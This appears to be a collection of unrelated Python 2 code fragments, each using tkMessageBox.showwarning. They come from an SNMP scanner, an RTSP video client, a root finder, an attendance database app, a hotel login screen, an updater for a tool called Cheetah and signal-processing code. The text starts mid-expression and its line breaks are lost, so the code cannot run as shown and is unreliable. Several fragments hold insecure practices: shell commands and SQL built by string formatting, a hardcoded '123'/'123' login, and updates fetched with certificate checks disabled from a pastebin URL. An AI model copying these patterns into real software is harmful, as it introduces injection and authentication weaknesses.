(snmpget, row[0].replace('96', '127'), row[1], sys_descr) response_sysdescr = os.popen(cmd_snmpget_sysdescr).read() response_sysdescr = response_sysdescr.replace('\n', '') if response_sysdescr.__contains__('Timeout'): pass elif response_sysdescr: sys_descr_value = response_sysdescr row[6] = '---' log_add = '%s,%s,%s,%s,%s\n' % (row[0], row[1], row[2], row[5], row[6]) log_detail += log_add if 'sys_descr_value' not in locals(): sys_descr_value = '---' if 'sys_oid_value' not in locals(): sys_oid_value = '---' if 'vendor_oid' not in locals(): vendor_oid = '---' extra_log_line = "update device set name = '%s', vendor = '%s', Sys_OID = '%s' where ip = '%s'\n" \ % (sys_descr_value, vendor_oid, sys_oid_value, row[0]) extra_log += extra_log_line yield row if log_detail: log_path = folder + "/" + "List_of_Mibdumps.csv" log_open = open(log_path, 'w') log_open.write(log_detail) log_open.close() if extra_log: extra_path = folder + "/" + "Extra_log.csv" extra_open = open(extra_path, 'w') extra_open.write(extra_log) extra_open.close() if msg_conflict != '': tkMessageBox.showwarning(title='Conflict!', message=msg_conflict)
def show_warn(self): """Display a warning popup with 'OK' button. Returns 'ok'.""" self.input = tkMessageBox.showwarning(self.name, self.message) return
def replaceAnnotation(self): """ This function resolves the replacement of SVG elements in the annotation. Changes are stored in undoStack to be available for undo function. :return: 'True', if GUI should be closes, 'False' otherwise. """ if self.numSelectedItems() < 1: tkMessageBox.showwarning(c.REPLACE, c.REPLACE_NO_SVG) return True if len(self.gui.selectedEntities) < 1: tkMessageBox.showwarning(c.REPLACE, c.REPLACE_NO_ANNOT) return False tempInstance = self.getTempAnnotations() if len(tempInstance) < len(self.gui.selectedEntities): tkMessageBox.showwarning(c.REPLACE, c.REPLACE_ENT_ANOT_MIX) return False # Test if selected svg elements are the same as the original one selSVGElements = [] same = 0 changed = 0 sameList = [] for element in self.selected: selSVGElements.append(element) for (entity, instance) in tempInstance: origSVGElements = self.gui.instancesbyClass[entity][instance] if origSVGElements == selSVGElements: same += 1 sameList.append(instance) else: changed += 1 if same > 0: if changed == 0: tkMessageBox.showwarning(c.REPLACE, c.REPLACE_ALL_SAME) return False tkMessageBox.showwarning(c.REPLACE, c.REPLACE_SOME_SAME % ", ".join(sameList)) cont = False if changed > 1: cont = tkMessageBox.askokcancel(c.REPLACE, c.REPLACE_MORE_ANN) else: cont = True undoList = [] # Undo function if cont: for (entity, instance) in tempInstance: tmpSVGElem = self.gui.instancesbyClass[entity][instance] if tmpSVGElem != selSVGElements: undoList.append({"type": "remove", "instanceId": instance, "entityName": entity, "SVGElements": tmpSVGElem}) self.gui.instancesbyClass[entity][instance] = [] for elem in tmpSVGElem: triple = [instance, c.HAS_SVG_PROPERTY, elem] self.removePropertyTriple(triple, c.DATATYPE_PROP, False, undoList) undoElements = [] for element in self.selected: self.gui.instancesbyClass[entity][instance].append(element) undoElements.append(element) triple = [instance, c.HAS_SVG_PROPERTY, element] self.addPropertyTriple(triple, c.DATATYPE_PROP, undoList) undoList.append({"type": "add", "instanceId": instance, "entityName": entity, "SVGElements": undoElements}) self.gui.undoStack.append(undoList) return True
def make_axis(self): axisfile = self.appdir + "/axis.bild" #check for ".Tetr/.Lev00 directory" - if it isn't there, make it' if not (os.path.isdir(self.appdir)): print "Making ", self.appdir os.mkdir(self.appdir) #get values from the text fields x = self.xaxis.get("1.0", Tk.END) y = self.yaxis.get("1.0", Tk.END) z = self.zaxis.get("1.0", Tk.END) l = self.saxis.get("1.0", Tk.END) #try to parse these strings into floats. Display an error if not try: xs = float(x) ys = float(y) zs = float(z) ls = float(l) except ValueError: print "Invalid option" tkMessageBox.showerror( "Error", "Invalid number in field. Please try again, or press 'Reset' to reset the axis values" ) return #produce axis file print "Opening ", axisfile f = open(axisfile, "w") #f.write(".sphere "+str(xs)+" "+str(ys)+" "+str(zs)+" "+str(0.5)+"\n") #uncomment to display ball in axis f.write(".font SERIF 50 bold\n") f.write(".color 1 0 0\n") f.write(".arrow " + str(xs) + " " + str(ys) + " " + str(zs) + " " + str(ls + xs) + " " + str(ys) + " " + str(zs) + "\n") f.write(".cmov " + str(ls + xs) + " " + str(ys) + " " + str(zs) + "\nx\n") f.write(".color 0 1 0\n") f.write(".arrow " + str(xs) + " " + str(ys) + " " + str(zs) + " " + str(xs) + " " + str(ls + ys) + " " + str(zs) + "\n") f.write(".cmov " + str(xs) + " " + str(ls + ys) + " " + str(zs) + "\ny\n") f.write(".color 0 0 1\n") f.write(".arrow " + str(xs) + " " + str(ys) + " " + str(zs) + " " + str(xs) + " " + str(ys) + " " + str(ls + zs) + "\n") f.write(".cmov " + str(xs) + " " + str(ys) + " " + str(ls + zs) + "\nz\n") f.close() print "File written" #display new axis if self.axisshow.get() == 1: self.ChimeraInterface.ShowAxis(True) else: tkMessageBox.showwarning( "Warning", "You need to toggle 'Show Axis' to on in order to view the axis" )
class Client: INIT = 0 READY = 1 PLAYING = 2 state = INIT SETUP = 0 PLAY = 1 PAUSE = 2 TEARDOWN = 3 counter = 0 # Initiation.. def __init__(self, master, serveraddr, serverport, rtpport, filename): self.master = master self.master.protocol("WM_DELETE_WINDOW", self.handler) self.createWidgets() self.serverAddr = serveraddr self.serverPort = int(serverport) self.rtpPort = int(rtpport) self.fileName = filename self.rtspSeq = 0 self.sessionId = 0 self.requestSent = -1 self.teardownAcked = 0 self.connectToServer() self.frameNbr = 0 self.rtpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) def createWidgets(self): """Build GUI.""" # Create Setup button self.setup = Button(self.master, width=20, padx=3, pady=3) self.setup["text"] = "Setup" self.setup["command"] = self.setupMovie self.setup.grid(row=1, column=0, padx=2, pady=2) # Create Play button self.start = Button(self.master, width=20, padx=3, pady=3) self.start["text"] = "Play" self.start["command"] = self.playMovie self.start.grid(row=1, column=1, padx=2, pady=2) # Create Pause button self.pause = Button(self.master, width=20, padx=3, pady=3) self.pause["text"] = "Pause" self.pause["command"] = self.pauseMovie self.pause.grid(row=1, column=2, padx=2, pady=2) # Create Teardown button self.teardown = Button(self.master, width=20, padx=3, pady=3) self.teardown["text"] = "Teardown" self.teardown["command"] = self.exitClient self.teardown.grid(row=1, column=3, padx=2, pady=2) # Create a label to display the movie self.label = Label(self.master, height=19) self.label.grid(row=0, column=0, columnspan=4, sticky=W + E + N + S, padx=5, pady=5) def setupMovie(self): """Setup button handler.""" if self.state == self.INIT: self.sendRtspRequest(self.SETUP) def exitClient(self): """Teardown button handler.""" self.sendRtspRequest(self.TEARDOWN) #self.handler() self.master.destroy() # Close the gui window os.remove(CACHE_FILE_NAME + str(self.sessionId) + CACHE_FILE_EXT) # Delete the cache image from video rate = float(self.counter / self.frameNbr) print '-' * 60 + "\nRTP Packet Loss Rate :" + str( rate) + "\n" + '-' * 60 sys.exit(0) def pauseMovie(self): """Pause button handler.""" if self.state == self.PLAYING: self.sendRtspRequest(self.PAUSE) def playMovie(self): """Play button handler.""" if self.state == self.READY: # Create a new thread to listen for RTP packets print "Playing Movie" threading.Thread(target=self.listenRtp).start() self.playEvent = threading.Event() self.playEvent.clear() self.sendRtspRequest(self.PLAY) def listenRtp(self): while True: try: data, addr = self.rtpSocket.recvfrom(20480) if data: rtpPacket = RtpPacket() rtpPacket.decode(data) print "||Received Rtp Packet #" + str( rtpPacket.seqNum()) + "|| " try: if self.frameNbr + 1 != rtpPacket.seqNum(): self.counter += 1 print '!' * 60 + "\nPACKET LOSS\n" + '!' * 60 currFrameNbr = rtpPacket.seqNum() #version = rtpPacket.version() except: print "seqNum() error" print '-' * 60 traceback.print_exc(file=sys.stdout) print '-' * 60 if currFrameNbr > self.frameNbr: # Discard the late packet self.frameNbr = currFrameNbr self.updateMovie( self.writeFrame(rtpPacket.getPayload())) except: # Stop listening upon requesting PAUSE or TEARDOWN print "Didn`t receive data!" if self.playEvent.isSet(): break # Upon receiving ACK for TEARDOWN request, # close the RTP socket if self.teardownAcked == 1: self.rtpSocket.shutdown(socket.SHUT_RDWR) self.rtpSocket.close() break def writeFrame(self, data): """Write the received frame to a temp image file. Return the image file.""" cachename = CACHE_FILE_NAME + str(self.sessionId) + CACHE_FILE_EXT try: file = open(cachename, "wb") except: print "file open error" try: file.write(data) except: print "file write error" file.close() return cachename def updateMovie(self, imageFile): """Update the image file as video frame in the GUI.""" try: photo = ImageTk.PhotoImage( Image.open(imageFile)) #stuck here !!!!!! except: print "photo error" print '-' * 60 traceback.print_exc(file=sys.stdout) print '-' * 60 self.label.configure(image=photo, height=288) self.label.image = photo def connectToServer(self): """Connect to the Server. Start a new RTSP/TCP session.""" self.rtspSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: self.rtspSocket.connect((self.serverAddr, self.serverPort)) except: tkMessageBox.showwarning( 'Connection Failed', 'Connection to \'%s\' failed.' % self.serverAddr) def sendRtspRequest(self, requestCode): """Send RTSP request to the server.""" # Setup request if requestCode == self.SETUP and self.state == self.INIT: threading.Thread(target=self.recvRtspReply).start() # Update RTSP sequence number. self.rtspSeq = 1 # Write the RTSP request to be sent. request = "SETUP " + str(self.fileName) + "\n" + str( self.rtspSeq) + "\n" + " RTSP/1.0 RTP/UDP " + str(self.rtpPort) self.rtspSocket.send(request) # Keep track of the sent request. self.requestSent = self.SETUP # Play request elif requestCode == self.PLAY and self.state == self.READY: # Update RTSP sequence number. self.rtspSeq = self.rtspSeq + 1 # Write the RTSP request to be sent. request = "PLAY " + "\n" + str(self.rtspSeq) self.rtspSocket.send(request) print '-' * 60 + "\nPLAY request sent to Server...\n" + '-' * 60 # Keep track of the sent request. self.requestSent = self.PLAY # Pause request elif requestCode == self.PAUSE and self.state == self.PLAYING: # Update RTSP sequence number. self.rtspSeq = self.rtspSeq + 1 # Write the RTSP request to be sent. request = "PAUSE " + "\n" + str(self.rtspSeq) self.rtspSocket.send(request) print '-' * 60 + "\nPAUSE request sent to Server...\n" + '-' * 60 # Keep track of the sent request. self.requestSent = self.PAUSE # Teardown request elif requestCode == self.TEARDOWN and not self.state == self.INIT: # Update RTSP sequence number. self.rtspSeq = self.rtspSeq + 1 # Write the RTSP request to be sent. request = "TEARDOWN " + "\n" + str(self.rtspSeq) self.rtspSocket.send(request) print '-' * 60 + "\nTEARDOWN request sent to Server...\n" + '-' * 60 # Keep track of the sent request. self.requestSent = self.TEARDOWN else: return # Send the RTSP request using rtspSocket. self.rtspSocket.send(request) print '\nData sent:\n' + request def recvRtspReply(self): """Receive RTSP reply from the server.""" while True: reply = self.rtspSocket.recv(1024) if reply: self.parseRtspReply(reply) # Close the RTSP socket upon requesting Teardown if self.requestSent == self.TEARDOWN: self.rtspSocket.shutdown(socket.SHUT_RDWR) self.rtspSocket.close() break def parseRtspReply(self, data): print "Parsing Received Rtsp data..." """Parse the RTSP reply from the server.""" lines = data.split('\n') seqNum = int(lines[1].split(' ')[1]) # Process only if the server reply's sequence number is the same as the request's if seqNum == self.rtspSeq: session = int(lines[2].split(' ')[1]) # New RTSP session ID if self.sessionId == 0: self.sessionId = session # Process only if the session ID is the same if self.sessionId == session: if int(lines[0].split(' ')[1]) == 200: if self.requestSent == self.SETUP: # Update RTSP state. print "Updating RTSP state..." self.state = self.READY print "Setting Up RtpPort for Video Stream" self.openRtpPort() elif self.requestSent == self.PLAY: self.state = self.PLAYING print '-' * 60 + "\nClient is PLAYING...\n" + '-' * 60 elif self.requestSent == self.PAUSE: self.state = self.READY # The play thread exits. A new thread is created on resume. self.playEvent.set() elif self.requestSent == self.TEARDOWN: # Flag the teardownAcked to close the socket. self.teardownAcked = 1 def openRtpPort(self): """Open RTP socket binded to a specified port.""" # Create a new datagram socket to receive RTP packets from the server self.rtpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Set the timeout value of the socket to 0.5sec self.rtpSocket.settimeout(0.5) try: self.rtpSocket.bind((self.serverAddr, self.rtpPort)) print "Bind RtpPort Success" except: tkMessageBox.showwarning('Connection Failed', 'Connection to rtpServer failed...') def handler(self): """Handler on explicitly closing the GUI window.""" self.pauseMovie() if tkMessageBox.askokcancel("Quit?", "Are you sure you want to quit?"): self.exitClient() else: # When the user presses cancel, resume playing. print "Playing Movie" threading.Thread(target=self.listenRtp).start() self.sendRtspRequest(self.PLAY)
from Tkinter import Tk from time import sleep from tkMessageBox import showwarning import win32com.client as win32 warn = lambda app: showwarning(app, 'Exit?') RANGE = range(3, 8) def word(): app = 'Word' word = win32.gencache.EnsureDispatch('%s.Application' % app) doc = word.Documents.Add() word.Visible = True sleep(1) rng = doc.Range(0, 0) rng.InsertAfter('Python to %s Test' % app) sleep(1) #Insert strints into text range of document for i in RANGE: rng.InsertAfter('Line %d \r\n' % i) #Provide line termination sleep(1) rng.InsertAfter("\r\n Th th thats all folks!") warn(app) doc.Close(False) word.Application.Quit() if __name__ == '__main__': Tk().withdraw()
mload = dialogues.ImportMetadataYesNo( root, title="Import auxiliary node data", titlemsg="Import auxiliary data for sampling sites?", datatype='msat') mloadyesno = mload.result # ask for filename if mloadyesno != None and mloadyesno: aux_filename = tkFileDialog.askopenfilename( filetypes=[("Text files", ".txt"), ("Ascii files", ".asc")], title="Choose auxiliary data file") if len(aux_filename) == 0: tkMessageBox.showwarning( "Auxiliary data", "Continuing without importing auxiliary data.") else: try: netio.loadNodeProperties(distancematrix, aux_filename) except Exception, e: tkMessageBox.showerror( "Error importing auxiliary data:", "File in wrong format:\n %s" % str(e)) tempname = filename.split('/')[-1] windowname = tempname.split('.')[0] distancematrix.matrixtype = 0 distancematrix.clones = '--' distancematrix.Nclones = 0
def raiz(self): # Obtenemos los valores ec = self.txtEcuacion.get() inicial = self.txtInferior.get() err = self.txtError.get() text = "f(x) = " + str(ec) + "\n\n" # verificamos que todos los campos esten llenos if len(ec) != 0 and len(inicial) != 0 and len(err) != 0: # Limpiamos el treeView self.tree.delete(*self.tree.get_children()) # Creamos un objeto de la clase Regla Falsa nr = NewtonRapson(inicial, ec, err, self.tree) # Obtenemos el total de raices nr.roots() # comprobamos el numero de raices if nr.root == 0: # comprobamos si no hay raices imaginarias if len(nr.complex) == 0: # Mensaje a mostrar text = "La función dada no tiene raices" # Mostramos el mensaje tkMessageBox.showerror(title="Error", message=text) # Mostramos las raices imaginarias else: # Contador de raices count = 1 # Obtenemos las raices imaginarias for r in nr.complex: text += "Raiz " + str(count) + ": " + str(r) + "\n" count += 1 # Mostramos el mensaje tkMessageBox.showinfo(title="Resultados", message=text) # trabajamos con las raices reales else: # contador de raices count = 1 # verificamos el total de raices if len(nr.real) == 1: # Obtenemos la raiz raiz = nr.estimate(1) # Agregamos informacion text += "Raíz " + str(1) + ": " + str(raiz) + "\n" # aumentamos el contador count += 1 # Algoritmo para mas de una raiz else: textTemp = "f(x) = " + str(ec) + "\n\n" textTemp += "Tiene " + str(len( nr.real)) + " raices reales\n" textTemp += "El valor inicial se calculara automaticamente" tkMessageBox.showwarning(title="Atención", message=textTemp) inicial = ((nr.real[0] + nr.real[1]) / 2) - 1 nr.inicial = inicial # Reordenamos valor inicial raiz = sp.Float(nr.estimate(1), 10) # Obtenemos la raiz # Agregamos informacion text += "Raíz " + str(1) + ": " + str(raiz) + "\n" # Contador para raices count = 2 # Obtenemos todas las raices reales while count <= len(nr.real): # Reordenamos el valor inicial inicial = ( (nr.real[count - 2] + nr.real[count - 1]) / 2) + 1 nr.inicial = inicial # Reordenamos valor inicial raiz = sp.Float(nr.estimate(1), 10) # Obtenemos la raiz # Agregamos informacion text += "Raíz " + str(count) + ": " + str(raiz) + "\n" # Aumentamos el contador count += 1 # Obtenemos las raices imaginarias for r in nr.complex: text += "Raiz " + str(count) + ": " + str(r) + "\n" count += 1 # Mostramos el mensaje tkMessageBox.showinfo(title="Resultados", message=text) else: # Mensaje de error text = "Por favor llene todos los campos" # Mostramos el mensaje tkMessageBox.showerror(title="Error", message=text)
def ToggleLatticeVectors(self, e=None): if self.lattice.get() == 1: filename = self.wkdir + "/vectors.vct" if not os.path.isfile(filename): tkMessageBox.showwarning( "Warning", "No vectors file (vectors.vct) present. Create this using the 'Vs' option in " + self.App) self.lattice.set(0) return f = open(filename, "r") nvec = int(f.readline()) vectors = [] for i in range(nvec): line = f.readline() entries = line.split() vect = [] for entry in entries: num = float(entry) print(entry, num) vect.append(num) vectors.append(vect) f.close() f = open(self.appdir + "/lattice.bild", "w") try: v = vectors[0] f.write(".color 0 1 1\n") f.write(".arrow 0.0 0.0 0.0 " + str(v[0]) + " " + str(v[1]) + " " + str(v[2]) + '\n') v = vectors[1] f.write(".color 1 1 0\n") f.write(".arrow 0.0 0.0 0.0 " + str(v[0]) + " " + str(v[1]) + " " + str(v[2]) + '\n') v = vectors[2] f.write(".color 1 0 1\n") f.write(".arrow 0.0 0.0 0.0 " + str(v[0]) + " " + str(v[1]) + " " + str(v[2]) + '\n') v = vectors[3] f.write(".color 1 0.64 0\n") f.write(".arrow 0.0 0.0 0.0 " + str(v[0]) + " " + str(v[1]) + " " + str(v[2]) + '\n') v = vectors[4] f.write(".color 0.58 0 0.82\n") f.write(".arrow 0.0 0.0 0.0 " + str(v[0]) + " " + str(v[1]) + " " + str(v[2]) + '\n') v = vectors[5] f.write(".color 0.2 1 0.8\n") f.write(".arrow 0.0 0.0 0.0 " + str(v[0]) + " " + str(v[1]) + " " + str(v[2]) + '\n') except: pass f.close() print("Lattice vectors written to file") self.ChimeraInterface.ShowLattice(True) else: self.ChimeraInterface.ShowLattice(False)
def ViewSample(file_name_in): FileName = file_name_in.get() if len(FileName) == 0: tkMessageBox.showwarning("ERROR", "No file selected") else: MDTcaldefs.file_preview(FileName)
def save(): frm3=Frame(frm2,height=530,width=660,bg="#FF33FF") frm3.grid(row=2,column=1,sticky= W+N+S+E,pady=10) branch=stream_name.get() semester=sem_name.get() course__name=course_name.get() if(branch=="" or semester=="" or course__name==""): import tkMessageBox tkMessageBox.showwarning("Warning","(*) Feild Required") else: def details(k,kid): print("details_method") def det_ail(): print("import") from details1 import Detailsstudent Detailsstudent(mwindow,kid) de_tails=Button(frm3,width=10,text="Veiw Details",bg="blue",fg="white",command=det_ail) de_tails.grid(row=k,column=4,sticky=E+W+N+S,padx=20) def invoke(k,cid): def go_db(): val=check1.get() if(int(val)==1): print("yes") import mysql.connector cnx = mysql.connector.connect(user='******', password='******', host='127.0.0.1', database='project') if(cnx): cursor=cnx.cursor() now=datetime.datetime.now() q= "insert into attendance_mark (cid,date,month,year,mark) values (%s,%s,%s,%s,%s) " d=(str(cid),int(now.day),int(now.month),int(now.year),int(val)) cursor.execute(q,d) cnx.commit() cursor.close cnx.close() check1=IntVar() out3=Checkbutton(frm3,command=go_db,variable=check1,onvalue=1,offvalue=0,width=20,bg="#FF33FF") out3.grid(row=k,column=3,sticky=W,padx=2) import mysql.connector cnx = mysql.connector.connect(user='******', password='******', host='127.0.0.1', database='project') if(cnx): cursor=cnx.cursor() try: q= "select cid,fname from sregister where stream=%s AND sem=%s AND course=%s " d=(branch,semester,course__name) cursor.execute(q,d) row_pass=cursor.fetchone() i=1 while row_pass is not None: print(str(row_pass[0])) print(str(row_pass[1])) out1=Label(frm3,text=str(row_pass[0]),width=25,fg="white",bg="#FF33FF") out1.grid(row=i,column=1,sticky=W,padx=2) out2=Label(frm3,text=str(row_pass[1]),width=25,fg="white",bg="#FF33FF") out2.grid(row=i,column=2,sticky=W,padx=2) invoke(i,str(row_pass[0])) details(i,str(row_pass[0])) row_pass=cursor.fetchone() i=i+1 print(int(cursor.rowcount)) stream_name.set("") sem_name.set("") course_name.set("") row_pass="" except Exception as e: import tkMessageBox tkMessageBox.showwarning("Warning",str(e)) cursor.close cnx.close()
def login(): username = text1.get() password = text2.get() if username == '123' and password == '123': username = text1.delete(0, END) password = text2.delete(0, END) root1 = Tk() root1.geometry("970x640") def logout(): root1.destroy() # set front size of application root1.title("Hotel Reservation Management System") # set the lables background images and textboxes with thier properties la1 = Label(root1, text="Hotel Reservation Management System", fg="white", bg="brown", font=('airal', 30, 'bold')).pack(side=TOP) guest = Button(root1, fg="white", bg="darkgray", font=('airal', 20), text="Guests Registration", command=guests, bd=10, width=20) guest.pack(padx=10, pady=10) guestsinfoo = Button(root1, fg="white", bg="darkgray", font=('airal', 20), text="Guests information", command=guestsinfo, bd=10, width=20) guestsinfoo.pack(padx=10, pady=10) roominfo = Button(root1, fg="white", bg="darkgray", font=('airal', 20), text="Rooms information", command=roomsinfo, bd=10, width=20) roominfo.pack(padx=10, pady=10) log = Button(root1, fg="white", bg="darkgray", font=('airal', 20), text="Logout", command=logout, bd=10, width=20) log.pack(padx=10, pady=10) else: tkMessageBox.showwarning("Warning", "Incorrect Username or Password") #create exit function # create logout function def exit(): sys.exit()
import Image import ImageTk def new_Project(e=None): text.insert(END, "Select the directory to save the project\n") directory = tkFileDialog.askdirectory() if directory: try: os.chdir(directory) text.insert(END, "Changing directory to " + directory + "\n\n") text.yview(END) except OSError, msg: tkMessageBox.showerror("Change Directory Failed", msg) else: tkMessageBox.showwarning( "Bad input", "Directory is not specified, please try again") text.insert(END, "In Main window:\n") text.insert(END, "Please select the proper option from File Menu\n") text.yview(END) text.insert(END, "Please enter a project Name\n") text.yview(END) # Read project information (name) project = newProject.ProjectInfo(root, text) # Create project files if project.status: projectParam = newProject.ProjectParam(root, text, project.projectName) # Open an existing model def open_Project(e=None): # Read project information (name)
from subprocess import * # GUI Imports from Tkinter import * from ttk import Button, Radiobutton import tkFileDialog import tkMessageBox from tkSimpleDialog import Dialog # IPython Imports try: import IPython except ImportError, ie: print 'Could not import IPython' tkMessageBox.showwarning( "Failed to import IPython", "IPython needs to be installed. See instructions at:\n" "http://ipython.org/ipython-doc/2/install/install.html") class IPSettingsModel(object): BP_SETTINGS_MAC = os.path.expanduser("~") +\ "/Library/Application Support/Bitplane" BP_SETTINGS_WIN = os.path.expanduser("~") +\ "/AppData/Local/Bitplane" def __init__(self, notebook_dir): self.notebook_dir = notebook_dir def serialise(self): return {'notebook_dir': self.notebook_dir}
def shutdown(self): tkMessageBox.showwarning("Attention", 'Please complete the setup process in its entierty!') # Show error in box
def check_updates(): if check_update.get() == "OK": exit_update() if check_update.get() == "Update": w.TButton1.configure(state="disable") w.TButton2.configure(state="disable") process = os.popen("git --version") output = process.read() process.close() par_dir = path.abspath(path.join(path.dirname(__file__), path.pardir)) if "git version" in output: if path.exists(path.join(par_dir, '.git')): os.chdir(par_dir) os.system('git pull origin master') title = "Cheetah Info" message = "Cheetah has completed the update." showinfo(title, message, parent=root) destroy_window() else: os.chdir(par_dir) message = "Cheetah is about to be updated, " \ "please do not do anything else during the update!" title = "Cheetah Warn" showwarning(title, message, parent=root) os.system( 'git clone https://github.com/sunnyelf/cheetah.git new_cheetah' ) title = "Cheetah Info" message = "Cheetah has completed the update." showinfo(title, message, parent=root) destroy_window() else: url = 'https://github.com/sunnyelf/cheetah/archive/master.zip' r = requests.get(url, verify=False) with open("cheetah.zip", "wb") as f: f.write(r.content) zip_path = path.join(par_dir, "cheetah.zip") title = "Cheetah Info" message = "The latest version of Cheetah has been downloaded.\n" \ "File path: %s" % zip_path showinfo(title, message, parent=root) destroy_window() if check_update.get() == "Check": w.TButton1.configure(state="disable") update_log_url = "https://pastebin.com/raw/n6YYbzri" r = requests.get(update_log_url, verify=False) update_log_json = r.json() update_ver = update_log_json['ver'] update_log = update_log_json['log'] if update_ver > current_ver: msg = "The latest Cheetah version is %.1f, " \ "do you need to update it now?\n" % update_ver update_msg.set(msg + 'New version: ' + update_log) w.TButton1.configure(state="normal") check_update.set("Update") else: msg = "The current Cheetah version {} is already the latest version.".format( current_ver) update_msg.set(msg) w.TButton1.configure(state="normal") check_update.set("OK")
def analysis_go(self): try: n = int(self.Lba.curselection()[0]) except: tkMessageBox.showwarning("Warning", "Select Analysis Option", parent=self.button_calculate) return self.NW = self.r_i_seg[n] self.mmm = 2**int(log(float(self.num) / float(self.NW)) / log(2)) print(n) print(self.r_ddf[n]) self.df = 1. / (self.mmm * self.dt) self.mH = ((self.mmm / 2) - 1) self.Hanning_initial(self) ######################################################################## print(" ") print(" number of segments NW= %d " % self.NW) print(" samples/segments mmm= %d " % self.mmm) print(" half samples/segment-1 mH=%d " % self.mH) print(" ") print(" df=%6.3f Hz" % self.df) maxf = (self.mH - 1) * self.df self.Hanning_initial(self) self.freq = zeros(self.mH, 'f') self.freq = linspace(0, maxf, self.mH) self.delta = self.freq_spec[0] / 30 self.full = zeros(self.mH, 'f') self.mag_seg = zeros(self.mH, 'f') self.amp_seg = zeros(self.mmm, 'f') #######################################################################3333========== tpi = 2 * pi nnt = 3 for kvn in range(0, nnt): # self.acc,self.velox,self.dispx=velox_correction(self.psd_th,self.dt,self.freq_spec[0]) ratio = self.spec_RMS / std(self.psd_th) self.psd_th *= ratio self.psd_core(self) MK = len(self.psd_th) self.tim = linspace(0, MK * self.dt, MK) # low frequency correction self.psd1 = 0 for i in range(0, len(self.freq)): # print " %8.4g %8.4g " %(freq[i],freq_spec[0]) if (self.freq[i] <= self.freq_spec[0] and self.freq_spec[0] <= self.freq[i + 1]): x = self.freq_spec[0] - self.freq[i] c2 = x / (self.freq[i + 1] - self.freq[i]) c1 = 1 - c2 self.psd1 = c1 * self.full[i] + c2 * self.full[i + 1] break # print "\n @@ kvn=%d psd1=%8.4g amp_spec=%8.4g " %(kvn,psd1,amp_spec[0]) if (self.psd1 < self.amp_spec[0]): ca = sqrt(2) * sqrt(self.amp_spec[0] * self.df - self.psd1 * self.df) print("kvn=%d ca=%9.5g " % (kvn, ca)) pha = tpi * random.random() fff = self.freq_spec[0] + (-0.5 + random.random()) * self.delta if (kvn == 0): fff = self.freq_spec[0] if (kvn == 1): fff = self.freq_spec[0] + self.delta / 2 if (kvn == 2): fff = self.freq_spec[0] - self.delta / 2 self.psd_th += ca * sin(tpi * fff * self.tim + pha) ################################################################################ tempf = self.freq[0:self.mH - 1] tempa = self.full[0:self.mH - 1] self.freq = tempf self.full = tempa rms = sqrt(self.ms * self.df) three_rms = 3 * rms print(" ") print(" Overall RMS = %10.3g " % rms) print(" Three Sigma = %10.3g " % three_rms) idx = argmax(self.full) print(" ") print(" Maximum: Freq=%8.4g Hz Amp=%8.4g unit^2/Hz" % (self.freq[idx], self.full[idx])) ############################################################################### n = len(self.TT) arms = std(self.psd_th) max_lines = 400000 TT = self.TT psd_th = self.psd_th if (n > max_lines): print(' ') K = int(ceil(n / max_lines)) print('processing plot data') print(' K=%d ' % K) TT, psd_th = small(TT, psd_th, K) print(' ') print('Warning: data reduced for plot only due to size limit') string_value1 = " %6.3g" % arms self.iunit = int(self.Lb1.curselection()[0]) if (self.iunit == 0): self.title_string = 'Force' + string_value1 + ' lbf RMS' self.ypsd_string = 'Force (lbf^2/Hz)' self.yth_string = 'Force (lbf)' if (self.iunit == 1): self.title_string = 'Force' + string_value1 + ' N RMS' self.ypsd_string = 'Force (N^2/Hz)' self.yth_string = 'Force (N)' if (self.iunit == 2): self.title_string = 'Pressure' + string_value1 + ' psi RMS' self.ypsd_string = 'Pressure (psi^2/Hz)' self.yth_string = 'Pressure (psi)' if (self.iunit == 3): self.title_string = 'Pressure' + string_value1 + ' Pa RMS' self.ypsd_string = 'Pressure (Pa^2/Hz)' self.yth_string = 'Pressure (Pa)' if (self.iunit == 4): self.title_string = '' + string_value1 + ' RMS' self.ypsd_string = 'unit^2/Hz' self.yth_string = 'Amplitude' plt.close(self.fig_num) plt.figure(self.fig_num) self.fig_num += 1 plt.plot(TT, psd_th, linewidth=1.0) # not self plt.xlabel('Time(sec)') plt.ylabel(self.yth_string) plt.grid(True) plt.title(self.title_string) plt.draw() ############################################################################### plt.close(self.fig_num) plt.figure(self.fig_num) self.fig_num += 1 nbins = 31 hist, bins = histogram(self.psd_th, bins=nbins, density=False) width = 0.7 * (bins[1] - bins[0]) center = (bins[:-1] + bins[1:]) / 2 plt.bar(center, hist, align='center', width=width) plt.ylabel('Counts') plt.xlabel(self.yth_string) plt.title('Histogram') plt.draw() ############################################################################### plt.close(self.fig_num) plt.figure(self.fig_num) self.fig_num += 1 out1 = 'Synth' + str("%6.3g" % arms + ' RMS') out2 = 'Spec' + str("%6.3g" % self.spec_RMS + ' RMS') plt.plot(self.freq, self.full, color='b', label=out1) plt.plot(self.freq_spec, self.amp_spec, color='r', label=out2) plt.plot(self.freq_spec, self.amp_spec * sqrt(2), color='k', label='+/-1.5 dB') plt.plot(self.freq_spec, self.amp_spec / sqrt(2), color='k') plt.legend(loc="upper right") title_string = 'Power Spectral Density' plt.title(title_string) plt.ylabel(self.ypsd_string) plt.xlabel(' Frequency (Hz) ') plt.grid(which='both') plt.savefig('power_spectral_density') plt.xscale('log') plt.yscale('log') y1 = 10**int(floor(log10(min(self.amp_spec)))) y2 = 10**int(ceil(log10(max(self.amp_spec)))) if (y2 == y1): y2 = 10 * y1 y1 = y1 / 10 plt.ylim([y1, y2]) x1 = 10**int(floor(log10(min(self.freq_spec)))) x2 = 10**int(ceil(log10(max(self.freq_spec)))) plt.xlim([x1, x2]) plt.show() self.button_ex.config(state='normal') self.button_ex_psd.config(state='normal') print(' View Plots ')
